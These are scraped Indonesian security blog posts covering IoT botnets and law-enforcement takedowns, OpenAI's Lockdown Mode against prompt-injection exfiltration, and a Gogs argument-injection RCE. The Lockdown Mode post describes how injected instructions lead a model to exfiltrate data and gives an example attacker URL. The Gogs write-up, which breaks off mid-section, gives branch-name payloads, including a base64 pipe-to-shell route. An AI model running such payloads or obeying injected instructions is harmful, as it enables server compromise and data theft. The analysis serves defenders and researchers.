Botnet IoT Dysphoria Berevolusi, Manfaatkan Domain Blockchain untuk Sembunyikan Server C2 - Ethical Hacking Indonesia

Peneliti keamanan siber mengungkap botnet Internet of Things (IoT) baru bernama Dysphoria yang menggunakan infrastruktur nama domain berbasis blockchain dan jaringan relay perangkat korban untuk menyembunyikan server perintah dan kontrol (Command-and-Control/C2) mereka dari upaya pemblokiran aparat penegak hukum.

Botnet ini menyasar penyedia layanan internet (ISP) dan industri gaming sebagai target utama serangan Distributed Denial-of-Service (DDoS) secara rutin. Selain itu, ribuan perangkat IoT yang terinfeksi mulai dari router, gateway, hingga kamera pengawas juga menjadi korban karena diubah fungsinya menjadi node perantara (relay) untuk meneruskan lalu lintas serangan.

Deteksi terhadap botnet ini pertama kali dikemukakan oleh CNCERT (tim tanggap darurat komputer nasional Tiongkok) dan XLab, laboratorium intelijen ancaman milik perusahaan keamanan siber Qi'anxin. Temuan tersebut kemudian dikonfirmasi secara independen oleh NICT Jepang, Nokia Deepfield, dan Comcast.

Dari sisi skala, Dysphoria dilaporkan telah menginfeksi lebih dari 200.000 perangkat secara global, dengan puncak mencapai 239.000 bot di luar negeri dalam sehari dan 4.401 perangkat aktif di Tiongkok. Meski begitu, angka ini belum dapat dipastikan kebenarannya secara objektif, karena data tersebut belum diverifikasi secara independen oleh pihak ketiga dan para peneliti tidak mempublikasikan metodologi penghitungan maupun cara eliminasi duplikasi data.

Kronologi Evolusi Botnet

Rangkaian peristiwa terkait Dysphoria tercatat berlangsung sebagai berikut:

1. 19 Maret 2026 - Operasi penegakan hukum gabungan Amerika Serikat, Jerman, dan Kanada menindak infrastruktur botnet JackSkid.
2. 25 Maret 2026 - XLab menangkap sampel awal yang menunjukkan perpindahan infrastruktur ke Ethereum Name Service (ENS).
3. Akhir April 2026 - Pengembang botnet menambahkan enkripsi string RC4 kustom sekaligus kemampuan resolusi ENS.
4. Awal Mei 2026 - Ditambahkan kemampuan resolusi Solana Name Service (SNS).
5. 25 Juni 2026 - Muncul varian relay-only yang membuang modul DDoS dan berfokus pada pemetaan port.
6. 14–20 Juli 2026 - CNCERT dan XLab mencatat pemantauan telemetri aktif terhadap ribuan perangkat korban.
7. 25 Juli 2026 - XLab resmi mempublikasikan hasil analisis teknis mereka terkait evolusi arsitektur dan rantai relay botnet Dysphoria.

Teknik Penyebaran dan Infeksi

Para pelaku menyebarkan Dysphoria terutama melalui tebakan kata sandi lemah (brute force) pada layanan Telnet dan SSH. Selain itu, mereka juga mengeksploitasi celah keamanan Remote Code Execution (RCE) pada perangkat IoT, salah satunya celah command-injection pada router Linksys E1700 yang tercatat sebagai CVE-2025-9528.

Infrastruktur Berbasis Blockchain Strategi Anti-Penyitaan

Salah satu ciri khas Dysphoria adalah penggunaan domain terdesentralisasi berbasis blockchain untuk menyimpan record IP dari node distribusinya, yaitu:

• Ethereum Name Service (ENS) - menggunakan domain seperti m3rnbvs5d[.]eth untuk resolusi C2 dasar, dan burrberry[.]eth yang secara spesifik berfungsi menampung alamat IPv4 terenkode milik node distribusi.
• Solana Name Service (SNS) - menggunakan domain seperti 24carnforth2merseyside[.]sol untuk menyuplai dan mempublikasikan record infrastruktur tambahan lainnya.

Tujuan penggunaan ENS dan SNS ini adalah untuk mencegah tindakan penyitaan domain (seizure) yang biasa dilakukan aparat penegak hukum terhadap domain berbasis DNS konvensional.

Arsitektur Relay Berbasis Perangkat Korban

Dysphoria juga mengandalkan arsitektur victimized relay. Ketika bot aktif, perangkat yang terinfeksi meminta daftar server C2 kepada node distribusi melalui protokol HTTP biasa. Namun, endpoint yang diberikan bukanlah server C2 asli, melainkan perangkat korban lain yang telah terinfeksi sebelumnya (infected-device relays). Teknik berlapis ini membuat server kontrol utama tetap tersembunyi di balik jaringan relay tersebut.

Varian Relay-Only dan Pemetaan Port UPnP

Varian yang muncul pada 25 Juni 2026 menghapus modul serangan DDoS dan mengalihkan fungsi perangkat untuk memetakan port pada gateway lokal menggunakan UPnP (Universal Plug and Play). Varian ini juga memanfaatkan system call epoll pada Linux untuk secara efisien memindahkan (shuttling) lalu lintas data antara koneksi luar dan server C2 jarak jauh, dengan melewati mekanisme Network Address Translation (NAT).

Keterkaitan dengan Botnet JackSkid dan Kimwolf (AISURU)

Dysphoria diketahui memiliki keterikatan lini (lineage) langsung dengan botnet JackSkid salah satu dari empat botnet IoT yang ditindak dalam operasi hukum gabungan AS, Jerman, dan Kanada pada 19 Maret 2026. Dokumen pengadilan bahkan mengaitkan lebih dari 90.000 perintah DDoS dengan JackSkid.

Selain itu, penggunaan C2 berbasis ENS pada Dysphoria juga memiliki kemiripan struktur dengan botnet Kimwolf (dikenal juga sebagai AISURU), yang sebelumnya sempat dianalisis oleh XLab pada akhir tahun lalu.

Diperjualbelikan di Pasar Gelap Siber

Kapasitas serangan botnet ini turut diperjualbelikan secara terbuka melalui etalase komersial di pasar gelap siber. Operator menawarkan jasa serangan DDoS dengan klaim kapasitas hingga sekitar 4 Tbps, dengan banderol harga mulai dari puluhan hingga ratusan dolar AS.

Tantangan Penanganan (Take-down)

Meski arsitektur terdesentralisasi dan penggunaan relay perangkat korban membuat Dysphoria sulit dihentikan, botnet ini disebut tidak sepenuhnya kebal terhadap tindakan penegakan hukum. Penegak hukum dan peneliti keamanan masih berpeluang memutus rantai operasinya dengan menyasar record blockchain, node distribusi yang dapat diakses, serta relay-relay yang telah terkompromi.

Baca Juga Tentang: Botnet-C2 Analisis-Mirai-Xlab Powmix RondoDox PolarEdge-GeoServer

Benediktus Sava – Security Researcher

Sumber: XLab CNCERT Jackskid NVD-NIST

Lockdown Mode OpenAI: Arsitektur Mitigasi Prompt Injection di Level Produk - Ethical Hacking Indonesia

Prompt injection sudah lama dikenal sebagai unsolved problem di LLM security, hal ini dimungkinkan karena solusi dari prompt injection pada LLM tidak bisa diselesaikan hanya di level model. Dimana model tidak punya konteks yang cukup untuk secara konsisten membedakan instruksi yang etis dan instruksi yang di eksekusi melalui konten eksternal seperti link pada dokument pdf, hasil deep search pada internet, dan output tools, semuanya masuk kedalam konteks kepercayaan yang sama.

*team Ethical Hacking Indonesia pernah menguji dan mendapati bahwa LLM menganggap ancaman dan yang bukan ancaman sebagai sesuatu yang sulit untuk di bedakan sehingga mempengaruhi hasil atau output model.

Lockdown Mode yang dibuat oleh OpenAI tidak dirancang untuk mencegah prompt injection pada konten yang diproses ChatGPT. Model dari yang dilakukan oleh OpenAI adalah memindahkan jalur komunikasi antara user dan AI agar memiliki jalur komunikasi yang terindikasi exfiltrasi data dari Model. Hal ini dilakukan karena konteks komunikasi yang dibangun penyerang dan mesin bisa sangat kompleks untuk dijadikan sebagai pola sehingga pendekana khusus yang dilakukan yaitu dengan memblokit semua outbound Network request yang bisa digunakan sebagai jalur atau Channel eksfiltrasi.

Attack Surface yang Sebenarnya

Untuk memahami kenapa Lockdown Mode dirnacang seperti yang terjelaskan, perlu untuk memahami peta bagaimana prompt injection yang berujung ke eksfiltrasi data sebenarnya bekerja:

1. Injeksi masuk via konten eksfiltrasi, file yang diupload user berisi instruksi tersembunyi, cached web conten mengandung payload, atau dokumen yang diproses agent punya hidden text.

2. Model mengikuti instruksi injeksi, karena tidak ada mekanisme yang bisa dipahami sebagai instruksi prompt injeksi dan bukan pada level pembeda input.

3. Mode diinstruksikan mengekstrak data sensitif, dari conversation history, memory, file yang sudah diupload, atau context lain yang tersedia.

4. Data dikirim keluar, via URL parameter (images request, fetch ke external endpoint), via write action ke tool eksternal, atau via file yang dihasilkan dan bisa didownload.

step yang susah untuk diblokir yaitu 1 dan 2 jika dilihat dari pemahaman terhadap perbedaan instruksi yang aman dan tidak aman, Lockdown Mode dirancang untuk menghindari step ke-4. KAlau semua outbound Channel dimatikan, live web browsing, images retrieval dari web, file download, agent mode, canvas networking, maka bahka kalau model berhasil dimanipulasi, attacker tidak punya tempat atau jalur untuk menerima data yang diekstrak.

Anatomi Pembatasan dan Alur Pikiran Yang Dibuat Dibalik Lockdown Mode

Jadi semua pembatassan di Lockdown Mode punya flow yang spesifik dan bukan hanya dirancang untuk aman yang dimaksudkan sebagai tindakan pemblokiran.

Live Web Browsing - Cached content, ini bisa memutus jalur yang jelas merupakan URL-based exfiltartion. Kalau url dibuat untuk request ke https://attacker[.]com/collect?data=<extracted_content>, maka live browsing memunginkan tindakan itu bisa dilakukan, cached content tidak membuat outbound request baru ke domain arbitrary.

Image retrieval dari web diblokir, tindkan ini enuup satu vektor yang bisa digunaakn untuk pixel tracking dan URL-encoded exfiltration via images request. Penyerang bisa menginstruksikan model untuk membuka atau memuat gambar dari url yang sebenarnya endpoint dengan data yang diencode di query parameter atau path URL. upload gambar atau images dari user tetap bisa dilakukan ituinbound dan tidak bisadilakukan outbound.

Deep Search dimatikan, deep search secara inheren melibatkan banyak request ke berbagai domain. Setiap request merupakan potensi jalur eksfiltrasi.

Agent mode dimatikan merupakan hal yang paling signifikan dari attack surface reduction. Agent memungkinkan model menjalankan tool chains multiple tool calls dalam satu sesi, bisa menulis filesystem, membuat HTTP request,berinteraksi dengan API eksternal. Prompt injeksi di konteks agent jauh lebih berbahaya karena model punya agency yang lebih besar. Bahkan satu injeksi yang berhasil bisa memicu chain of actions yang panjang sebelum ada manusia yang menyadari.

Canvas networking, canvar-generated code yang mengakses Network merupakan jalur yang bisa membuat user mungkin tidak sadar bahwa kode yang digenerate bisa membuat outbound request saat dieksekusi. Lockdodwn Mode membutuhkan persetujuan yang eksplisit utnuk setiap Network Access dari Canvas, yang ada pada dasarnya menambahkan human-in-the-loop checkpoint.

File downloade diblokir, kalau model menghasilakn file ang berisi extracted data dan file itu bisa didownload, itu juga merupakan jalur eksfiltrasi, meski manual.

Limitasi Arsitektural yang Perlu Dipahami

Lockdown Mode tidak menyelesaikan prompt injection, melainkan menahan atau membatasi radius dari apa yang bisa dilakukan oleh prompt injection pada model LLM.

Beberapa hal yang tidak terpengaruh Lockdown Mode:

Memory tetap aktif kalau model berhasil dimanipulasi untuk menulis sesuatu ke memory, data itu persist. Ini tidak secara langsung mengirim data ke attacker, tapi kalau attacker bisa membuat user mengakses conversation yang memuat trigger untuk memory manipulation, ini bisa menjadi vektor jangka panjang.

File upload tetap bisa dilakukan user artinya injeksi via malicious document masih sangat mungkin dokumen berisi hidden instruction tetap bisa masuk ke context window. Lockdown Mode tidak melindungi dari injeksi itu sendiri, hanya dari apa yang terjadi setelah injeksi berhasil.

Code execution environment memiliki isolation model tersendiri. Lockdown Mode tidak extend ke Codex, yang berarti workflow yang melibatkan Codex punya attack surface berbeda yang perlu dievaluasi secara terpisah.

Conversation sharing tetap bisa dilakukan. Kalau model bisa dimanipulasi untuk mempengaruhi isi conversation yang kemudian dishare, itu bisa menjadi kanal meski manual dan membutuhkan tindakan tertentu dari user.

Perspektif Praktis Untuk pentester yang mengevaluasi deployment ChatGPT:

Lockdown Mode secara signifikan menutup outbound exfiltration path, tapi injeksi tetap bisa terjadi. Fokus evaluasi bergeser ke: seberapa jauh injeksi bisa mempengaruhi behavior model (bukan data exfiltration), apakah ada connector yang masih aktif dengan write action, dan apakah ada side channel via memory atau conversation sharing. Untuk managed workspace, model threat-nya adalah apakah admin telah mengikuti rekomendasi risk matrix untuk setiap connector.

Untuk developer yang menggunakan ChatGPT atau LLM lain:

Pola arsitektural yang sama bisa diadopsi: pisahkan antara mencegah injeksi (sulit, belum solved) dengan membatasi output channel (lebih deterministik). Principle of least privilege untuk tool access berlaku di sini model tidak perlu punya akses ke semua tool setiap saat. Granularitas yang lebih tinggi dalam mengontrol kapan tool bisa diakses, oleh prompt dari sumber mana, mengurangi exposure tanpa menunggu model-level fix yang mungkin tidak akan datang dalam waktu dekat.

https://thehackernews.com/2026/06/new-chatgpt-lockdown-mode-limits-tools.html

https://help.openai.com/en/articles/20001061-lockdown-mode

Disruption Week: Operasi Takedown Infrastruktur Pig Butchering di Asia Tenggara - Ethical Hacking Indonesia

Disruption Week: Bedah Teknis Operasi Takedown Infrastruktur Pig Butchering di Asia Tenggara

Terdapat scam center di Asia Tenggara dengan infrastruktur yang menyamai industri, dengan jalur-jalur yyang terpisah mulai dari pencucian uang, berlapis, dan tenaga kerja yang diseludupkan secara paksa untuk menjalankan social Engineering dalam scala masif. Ketika DOJ mengumumkan Disruption Week pada akhir Mei 2026.

Attack Surface: Infrastruktur Berlapis yang Selama Ini Sulit Dijangkau

Scam sompound beroperassi dengan separation of concern yang cukup ketat antara tier. Tier-1 Front-facing social Engineering layer, akun media sosial, email, dan platform messaging, yang dimana mnejadi titik kontk pertama ke korban dengan volume yang sangat masif, Dirsuption Week menginterupsi lebih dari 1,4 juta akun di layer ini. Lifecycle akun-akun ini relatif pendek; ketika diblokir, diganti. aksi ini bisa dijalankan selama platform tidak membatasi atau membuat deteksi prilaku pada platform mereka. Tier-2 Fraudulent investment platform UI yang dirancang untuk mensimulasikan return investment. 

Korban deposit, lihat angka naik di dashboard, baru sadar platformnya palsu ketika coba withdraw, hal ini juga ramai pernah terjadi di beberapa platform yang di promosikan influencer yang juga ditahan oleh kepolisian Republik Indonesia. Platform ini di-host di infrastruktur yang terpisah dari akun Tier 1 biasanya colocation environment atau VPS yang berbeda negara. Disruption Week menargetkan decomissioning server dan colocation environment di layer ini.

Tier-3 Money movement layer Cryptocurrency sebagai medium transfer, ini yang paling menarik dari sisi forensik on-chain. DOJ berbagai informasi dengan sektor private, coinbase, TRM Labs yang kemudian membentuk lebih dari $3,8 juta. angka ini relatif kecil terhadap total volume ($5,8 miliaar kerugian terlaporkan di 2024), tapi dari sisi teknis ini merupakan voluntary freeze berbasis intelligence sharing, dan bukan bagian dari court order yang berarti kecepatan eksekusinya jauh lebih tinggi.

Information Sharing sebagai Exploit Primitive

Dari prespektif operasional, yang paling menarik di Disruption Week adalah mekanisme yang diguanakan. FBI, Scret Service dan HSI ecara lagnsung menyerahkan target intelligence yang berupa IP, akun, wallet address, hosting identifler ke tim teknis dari Apple, Google, Meta, Microsoft, Coinbae, TRM Labs, Zenlayer dan SpaceX. Kemudian masing-masing provider melakukan cross-referencing dengan data internal mereka dan mengambil tindakan secara voluntary berdasarkan terms of service violation, ini penting secara teknikal karena beberapa alsan:

1. Attribution gab ditutup dari dua sisi, penegak hukum punya ground truth dari investigasi tapi tidak punya akses ke platform internals.  Provider punya behavioral data dan graph koneksi tapi tidak punya konteks kriminal. Ketika dua dataset ini digabungkan, cluster yang sebelumnya ambigu bisa diidentifikasi dengan confidence tinggi.

2. Action Velocity Berbeda dari Legal Proces Normal takedown via court order bisa memakan waktu berminggu-minggu atau berbulan-bulan. Voluntary action berbasis ToS bisa dieksekusi dalam hitungna jam. Untuk scammer yang operasinya bergantung pada window availability akun, disruption cepat punya impact yang berbeda dibanding yang lambat.

3. Cross-platform correlation bisa dijalankan satu scammer yang beroperasi di Meta, menggunakan layanan Google, dan meng-host platform di Zenlayer bisa diidentifikasi sebagai entitas tunggal ketika semua provider menggunakan identifier yang sama. Sebelumnya ini tidak terjadi karena tidak ada mekanisme berbagi antara provider dalam Event yang terfokus.

Pig Butchering State Mechine yang Sengaja Dirancang Lambat

Setiap fasse ada karena alasan yang disengajakan, phase trust building bisa berlangsung berminggu-minggu hingga berbulan-bulan karena target fraud yang efektif adalah orang yang cukup engaged untuk mentransfer jumlah besar.

Dari sisi detection: behavioral signature akun Tier 1 yang menjalankan pig butchering berbeda dari spam konvensional. Conversation onboarding-nya panjang, konsisten, dan tidak meminta uang di awal. Rate-based detection kurang efektif di sini volume per akun rendah, tapi conversion rate per akun ke financial loss sangat tinggi. Ini yang membuat pendekatan deteksi berbasis volume tidak cukup; perlu layer behavioral analysis yang lebih dalam.

Colocation dan Hosting Infrastructure sebagai Persistent Layer

Server yang menjalankan fake investment platform membutuhkan reliable uptime  korban harus bisa login dan melihat portfolio mereka naik. Ini berarti scammer menggunakan hosting infrastructure yang lebih permanen dibanding akun Tier 1 yang sifatnya sementara. Zenlayer merupakan provider dengan PoP di Asia Pacific yang digunakan untuk deliver konten dengan latensi rendah ke kawasan tersebut. Ketika hosting infrastructure di-decommission, fake investment platform menjadi tidak accessible. Ini mematikan Tier 2 layer sementara Tier 1 sudah diblokir secara bersamaan.

Note:

"decomissioning ini tidak permanen kalau scammer tinggal pindah ke hosting provider lain. IMPACT nyata dari aksi ini adalah disruption temporal dan pengumpulan data TTP mereka untukk melakukan tracking ke depan, terutama pola pemilihan hosting dan rotasi infrastruktur."

On-Chain Forensics: $3,8 Juta dan Sisanya

Angka $3,8 juta yang dibekukan perlu dikontekstualisasikan, IC3 melaporkan $5,8 miliar kerugian di 2024 dari kategori ini, dan angka 2025 sudah naik ke $7,2 miliar. Artinya yang berhasil dibekukan adalah sebagian sangat kecil  mayoritas fund sudah bergerak melalui layering yang cukup dalam sebelum intelligence bisa ddi deteksi. 

TRM Labs merupakan blockchain analytic firm yang spesialisasinya adalah transaction graph analysis melacak alur fund melalui mixing, chain hop, dan Exchange. Coinbase sebagai Exchange punya keamampuan freeze ketika wallet yang diidentifikasi mencoba Chash out. Freeze yang terjadi di Disruption Week kemungkinan besar adalah intercept di titik cash-out atau di exchange layer sebelum fund keluar ke fiat. Ini choke point paling actionable karena scammer pada akhirnya harus konversi ke fiat untuk kebutuhan operasional.

Flow yang paling sulit diikuti secara forensik adalah yang menggunakan chain hop ke privacy coin kemudian kembali ke BTC atau ETH sebelum masuk exchange. Kalau Disruption Week berhasil freeze $3,8 juta. Yang paling permanen dari operasi ini bukan 1,4 juta akun yang diblokir. Yang permanen adalah dua hal: relationship antara provider dan penegak hukum yang sudah terbentuk, dan precedent bahwa voluntary action berbasis intelligence sharing bisa dieksekusi pada skala ini dalam window waktu yang sangat singkat. Keduanya jauh lebih sulit untuk di-counter dibanding takedown infrastruktur yang bisa di-rebuild dalam hitungan beberapa hari.

Baca Juga Tentang: Dampak-Negatif-DataBreach FBI-Warning Trojan-Bank 

Benediktus Sava – Security Researcher

Sumber: Meta Justice-gov

Anatomi Botnet 17 Juta Node: Bagaimana Infrastruktur C2 Bertahan dan Bagaimana Cara Men-takedown- Ethical Hacking Indonesia

Anatomi Botnet 17 Juta Node: Bagaimana Infrastruktur C2 Bertahan dan Bagaimana Cara Men-takedown

17 Juta perangkat telah teinfeksi oleh botnet, jadi bisa di katakan ada sekitar 4-5 orang penduduk terinfeksi 1 botnet di Belanda, Dengan kondisi bahwa server-server tersebut di-host di negara tersebut. Merespon hal ini kepolisian Belanda dengan NCSC (National Cyber Security Center) - Pusat keamanan Siber Nasional Inggris, melakukan kerjasama dan berhasil melakukan takedown terhadap botnet dengan mengidentifikassi dan menindak 200 server C2

Struktur C2 dan Kenapa 200 Server Bisa Mengontrol 17 Juta Node

Rasio 200 server terhadap 17 juta bot, sekitar 1:85.000 dengan arsitektur yang sangat efisien. Ada beberapa kemungkinana yang membuat server C2 ini menjadi sangat powerfull dan tidak menggunakan arsitektur seperti biasa dimana 1 server mengelola 1 botnet, dengan skala infeksi yang terjadi btonet model ini hampir pasti menggunakan tiered architecture: beberapa layer: relay/proxy dibawah, sejumlah kecil master controller di atas.

Tier Bawah (tier-1) biasanya merupakan fast-flux nodes, IP yang berputar cepat, sering kali memanfaatkan mesin atau perangkat yang sudah terinfeksi untuk melakukan infeksi ke perangkat lain yang di targetkan. Tier ini yang langsung terekspose ke traficc botnet, dan yang pertama kali terlihat atau diketahui jika dilakukan monitoring. tier-2 yang memiliki operasi yang lenih stabil, sering pakai domain generation algorithm(DGA) atau bulletproof hosting. Master controller biasnaya disembunyikan di balik lapisan anonymisasi atau bahkan tidak pernah berkomunikasi langsung dengan bot sama sekali hanya push command ke tier-2.

Statistik serangan 200 server yang teridentifikasi berlokasi di Belanda menunjukkan konsentrasi infrastuktur yang tidak biasa. Ini bisa berarti dua hal: operator memilih single jurisdoction karena alasan yang dipertimbangkan yaitu: latensi, biaya, atau relasi dengan hosting provider tertentu), atau justru 200 server ini hanya sebagain dari infrastruktur yang terlihat, tier paling bawah yang mengelolah komunikasi aktif, sementara backend yang lebih dalam mungkin tersebar di juristik lain atau negara lain.

Infection Vector dan State Machine Bot

Dalam tulisan NCSC(.)nl tidak menyebutkan malware spesifik, tapi dari skala dan komposisi perangkat yang terinfeksi (komputer, tablet, smartphone), hal ini menunjukkan bahwa botnet ini tidak disebarkan dari saku vektor saja. 

Initial access paling mungkin datang dari kombinasi exploitation of unpatched vulnerabilities (terutama di edge devices dan router), credential stuffing terhadap perangkat IoT yang masih pakai default password, dan malicious download/phishing untuk endpoint konvensional.

Setelah initial access, bot lifecycle biasanya berjalan: dropper dieksekusi - establish persistence (registry key, systemd service, atau scheduled task) - kontak C2 untuk receive payload utama - masuk ke state idle/polling, dari satet idle ini, bot menunggu instruksi dari command server, yang sering dilakukan yaitu DDoS, spam relay, credential harvesting, atau distribute payload lebih lanjut lagi.

Botnet ini memiliki infrastruktur yang terbilan kuat karena, kalau malware hanya bergantung pada satu metode presistence, satu restart atau antivirus update sudah cukup untuk membersihkan atau terdeteksi oleh sistem monitoring. Botnet yang sebesar ini sangat mungkin menggunakan sistem layered: fallback yang mati, dan kadang kernel-level rootkit untuk menyembunyikan proses dari user-space scanner.

Attack Surface: Kenapa Edge Devices Jadi Target Utama

NCSC menyebut router dan smart devices secara spesifik sebagai vector yang perlu diperhatikan, karena  Edge devices memiliki beberapa karakteristik yang ideal untuk operator botnet:

Pertama, update cycle yang lambat, router consumer-grade sering tidak mendapat firmware update setelah dua tahun pertama, dan bahkan kalau ada, pengguna jarang menginstalnya. Ini berarti vulnerabilities lama tetap exploitable dalam jangka waktu panjang. 

Kedua, akses langsung ke network traffic, bot yang berjalan di router bisa melakukan traffic inspection, DNS hijacking, atau menjadi pivot point ke perangkat internal di belakangnya jauh lebih powerful dari bot yang berjalan di smartphone. Ketiga, visibility yang rendah. Mayoritas pengguna tidak pernah melihat apa yang berjalan di router mereka, tidak ada antivirus, tidak ada EDR, tidak ada user yang akan notice proses aneh di process list.

Default credential yang masih banyak dipakai. Credential stuffing dengan daftar default password masih efektif sampai sekarang karena adoption dari praktik password hygiene yang baik di perangkat IoT masih rendah.

Bagaimana Takedown Ini Bekerja Secara Operasional

Alur takedownnya menarik untuk dianalisis: researcher melaporkan ke NCSC - NCSC koordinasi dengan kepolisian - investigasi - seizure server + hosting provider cut off akses. 

Ada dua mekanisme berbeda yang terjadi di sini. Penanguhan server oleh kepolisian untuk keperluan forensik itu standar ini untuk preserve evidence dan analisis lebih lanjut (siapa operatornya, command history, daftar bot yang terinfeksi). Tapi hosting provider yang mengambil keputusan sendiri untuk cut off seluruh infrastruktur karena alasan criminal activity  itu yang membuat operasi ini berjalan lebih cepat. 

Ini model yang semakin umum dipakai: law enforcement tidak harus menunggu proses hukum yang panjang untuk menangguh semua aset. Cukup koordinasi dengan hosting provider, tunjukkan bukti aktivitas kriminal, dan provider punya authority untuk terminate service berdasarkan ToS mereka sendiri. Dari sudut pandang bot, hasilnya identik: C2 unreachable, bot masuk ke fallback state atau tidak melakukan aktivitas mencurigakan monitoring.

Yang tidak selesai dari operasi ini: 17 juta perangkat yang masih terinfeksi. Takedown C2 membuat bot "headless" tidak bisa menerima command baru tapi malware di perangkat end-user masih ada. Tanpa C2, bot ini relatif inert, tapi tetap bisa diaktifkan kembali kalau operator membangun infrastruktur baru atau kalau ada attacker lain yang berhasil me-register domain DGA yang sama.

Operasi ini tutup dengan hasil yang baik dari perspektif law enforcement, tapi dari sisi security posture, 17 juta perangkat yang masih terinfeksi itu hal yang harus di perhatikan oleh pihak yang berwenang. Infrastrukturnya mati, tapi attack surface yang membuat perangkat-perangkat itu rentan sejak awal firmware usang, default credential, visibility yang buruk semuanya masih ada.

Baca Juga Tentang: Studi-Kasus: UAC-0057 OYSTER Botnet: ADB-Android Polisi-Indonesia: Law Enforcement PowMix: Botnet

Benediktus Sava – Security Researcher

Sumber: NCSC-NL

Gogs Argument Injection RCE: Ketika --exec Flag Bocor ke git rebase - Ethical Hacking Indonesia

Gogs Argument Injection RCE: Ketika --exec Flag Bocor ke git rebase. Di internal/database/pull.go, fungsi Merge() memanggil git rebase: 

if _, stderr, err = process.ExecDir(-1, tmpBasePath,

    fmt.Sprintf("PullRequest.Merge (git rebase): %s", tmpBasePath),

    "git", "rebase", "--quiet", pr.BaseBranch, remoteHeadBranch); err != nil {

pr.BaseBranch datang langsung dari URL parameter hasil strings.Split dari path PR. Posisi string di escape tetapi posisi string escape di dalam argumen array, yang ada setelah --quiet dan tidak memiliki tanda -- atau strip dua (2) yang dimana ini merupakan pembeda opsi dan argumen posisional. 

POSIX mendefinisikan strip dua sebagai flag karena setiap string yang di mulai dengan tanda -- di tools cli merupakan tanda flag dari fungsi help. Jadi pr.BsaeBranch bernilai --exec=touch${IFS}/tmp/rce_proof dibaca sebagau instruksi eksekusi bukan branch.

Sebelum PR dibuat, Gogs memanggil RevParse dari library git-module untuk menvalidasi ref: git rev-parse --verify <ref>

Untuk ref --exec=touch${IFS}/tmp/rce_proof, rev-parse --verify akan gagal, ref ini tidak ada di repository dan tidak dapat di-resolve ke objek Git manapun.

Attacker membuat branch dengan nama tersebut menggunakan git push setelah branch yang dibuat sudah ada di remote. validasi ini memeriksa apakah ref bisa di-resolve atau tidak. tetapi tidak memeriksa apa ada nama ref aman untuk diinterpolasi ke dalam command line tanpa flag -- separator.

Nilai yang terbentuk disimpan ke dalam database dan dikembalikan apa adanya ke Merge() dan tidak melakukan normalisasi, tidak ada re-validation saat merge. Database jadinya bertindak sebagai transport yang opaque, yang masuk atau inputan keluar dengan bentuk yang sama karena tidak dilakukan normalisasi terlebih dahulu atau penyaringan data. 

Git branch name secara teknis memperbolehkan karakter $, {, }, =, dan -. Itu sudah cukup untuk menyusun payload tanpa spasi yang dilarang di nama branch Git. ${IFS} di shell bash/sh expand ke spasi, jadi: --exec=touch${IFS}/tmp/rce_proof. Ketika dijalankan value tersebut via sh -x setelah commit di-replay. Shell yang dipanggil kemudian mengubah ${IFS} menjadi spas dan mengeksekusi touch /tmp/rce_proof.

Untuk payload yang membutuhkan karakter yang dilarang di nama file/branch (:, ~, ^, ?, *, [, \, //) misalnya URL untuk reverse shell ada jalur base64: --exec=echo${IFS}<base64_payload>|base64${IFS}-d|sh

Di Windows, karakter | dilarang di nama file NTFS (dan Git menyimpan branch refs sebagai file di refs/heads/), sehingga pendekatan inline ini tidak bisa dipakai langsung. Solusinya adalah menaruh payload di file yang di-commit ke repository. Ada lapisan tambahan di Windows karena MSYS2's sh mangles metacharacter shell sebelum sampai ke PowerShell. Pendekatan yang berfungsi adalah commit dua file .abcdef yang memanggil cmd.exe //c .abcdef.bat, dan .abcdef.bat yang berisi payload PowerShell asli. //c adalah MSYS2 escaping untuk /c, sehingga eksekusi berpindah langsung ke cmd.exe tanpa melewati interpretasi shell lagi.

Execution Flow di MergeStyleRebase

Ketika merge button ditekan, Merge() menjalankan serangkaian perintah git secara berurutan di temporary directory:

Step 1 aman karena flag -b di git clone sudah di-quote dan mengeksekusi argumen berikutnya sebagai value branch, bukan sebagai option. Step 3 adalah lokasi vulnerability tidak ada -- sebelum pr.BaseBranch, sehingga string --exec=... diterima sebagai flag. Step 5 gagal dan Merge() mengembalikan HTTP 500. RCE sudah terjadi di Step 3, sebelum error itu muncul. Error tidak membatalkan eksekusi yang sudah terjadi.

Konsekuensi dari abort di tengah proses: repository target tertinggal dalam state partial rebase dan rebase tidak selesai, tidak di-abort dengan bersih. Ini berarti exploit hanya bisa di-fire satu kali per repository. Untuk attacker yang membuat repo sendiri, ini tidak masalah karena repo langsung dihapus setelah eksekusi.

Race Condition di testPatch dan Kenapa PR Bisa Jadi Mergeable

Ada satu kondisi yang perlu dipenuhi sebelum merge button tersedia: PR harus berstatus PullRequestStatusMergeable. Untuk branch dengan nama berbahaya, ini bergantung pada timing internal Gogs. Saat PR pertama kali dibuat, testPatch() memanggil UpdateLocalCopyBranch(pr.BaseBranch). Jika local copy belum ada (repo baru atau belum pernah ada PR), eksekusi mengambil code path Clone yang menyertakan --end-of-options. Nama branch berbahaya diperlakukan sebagai data, bukan flag. Clone sukses, testPatch tidak mendeteksi konflik, status PR Mergeable.

Kemudian background goroutine TestPullRequests berjalan secara periodik dan re-check PR. Di iterasi berikutnya, local copy sudah ada, sehingga eksekusi mengambil code path Checkout  yang tidak menyertakan --end-of-options. Git checkout dengan --exec=... sebagai argumen gagal, error dikembalikan, tapi karena terjadi error, checkAndUpdateStatus() di-skip. PR tidak di-update ke status conflict. dan PR tetap Mergeable.

Jika target repository sudah pernah memiliki PR sebelumnya (local copy sudah ada), kondisi ini terbalik: Checkout path diambil dari awal, checkout gagal, dan PR tidak pernah mencapai Mergeable. Ini membatasi target ke repository yang belum memiliki riwayat PR, atau repository baru.

Attack Surface dan Prerequisites

Gogs by default dikirim dengan:

DISABLE_REGISTRATION = false - registrasi terbuka

MAX_CREATION_LIMIT = -1 - tidak ada batas pembuatan repository

PullsAllowRebase - dinonaktifkan by default per-repo, tapi setiap owner repo bisa mengaktifkannya.

Artinya pada instance default, seseorang yang belum punya akun bisa: registrasi - buat repo - aktifkan rebase merging - eksploit. Semua dalam satu sesi, tanpa interaksi dengan user lain, tanpa privilege admin. DISABLE_REGISTRATION = true memblok jalur paling mudah ini. Tapi tidak memblok attacker yang sudah punya akun dan memiliki write access ke repository yang rebase-nya sudah aktif atau bisa diaktifkan karena privelege adalah owner.

MAX_CREATION_LIMIT = 0 menghilangkan kemampuan membuat repo baru, tapi sekali lagi tidak memblok attacker dengan write access ke repo existing. Tidak ada setting global atau organization-level yang bisa disable rebase merging di semua repository sekaligus.

Hubungan dengan Perbaikan Sebelumnya

Gogs sudah beberapa kali memperbaiki argument injection di code path berbeda:

